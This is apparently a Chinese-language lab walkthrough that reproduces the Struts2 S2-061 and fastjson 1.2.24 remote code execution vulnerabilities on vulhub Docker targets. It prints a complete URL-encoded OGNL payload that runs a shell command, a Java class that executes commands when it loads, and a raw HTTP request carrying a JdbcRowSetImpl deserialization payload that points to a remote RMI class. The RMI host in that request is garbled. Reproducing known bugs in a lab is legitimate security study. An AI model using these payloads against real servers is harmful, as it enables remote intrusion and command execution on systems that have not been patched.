S2-061远程代码执行漏洞和fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

1. 复现S2-061远程代码执行漏洞

(1) cd vulhub/struts2/s2-061 切换目录。

(2) docker-compose up -d 启动。

(3) http://192.168.80.161:8080/

(4)执行命令：

http://192.168.80.161:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

2. 复现fastjson 1.2.24 反序列化导致任意命令执行漏洞

(1) cd vulhub/fastjson/1.2.24-rce切换目录。

(2) docker-compose up -d 启动。

(3)访问：http://192.168.80.162:8090/

(4) vim TouchFile.txt新建文件TouchFile.txt，写入：

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"touch", "/tmp/success"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

(5)重命名为TouchFile.java：mv TouchFile.txt TouchFile.java

(6)apt install default-jdk 安装jdk。

(7) javac TouchFile.java 编译。

(8)burpsuite抓包。

(9)send to repeater，构造payload：

POST / HTTP/1.1

Host: 192.168.80.163:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 159

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://

{ö0@:9999/TouchFile",

        "autoCommit":true

    }

}

(10)docker ps  docker exec -it b20 bash 进入容器。

(11)验证：cd tmp 切换目录。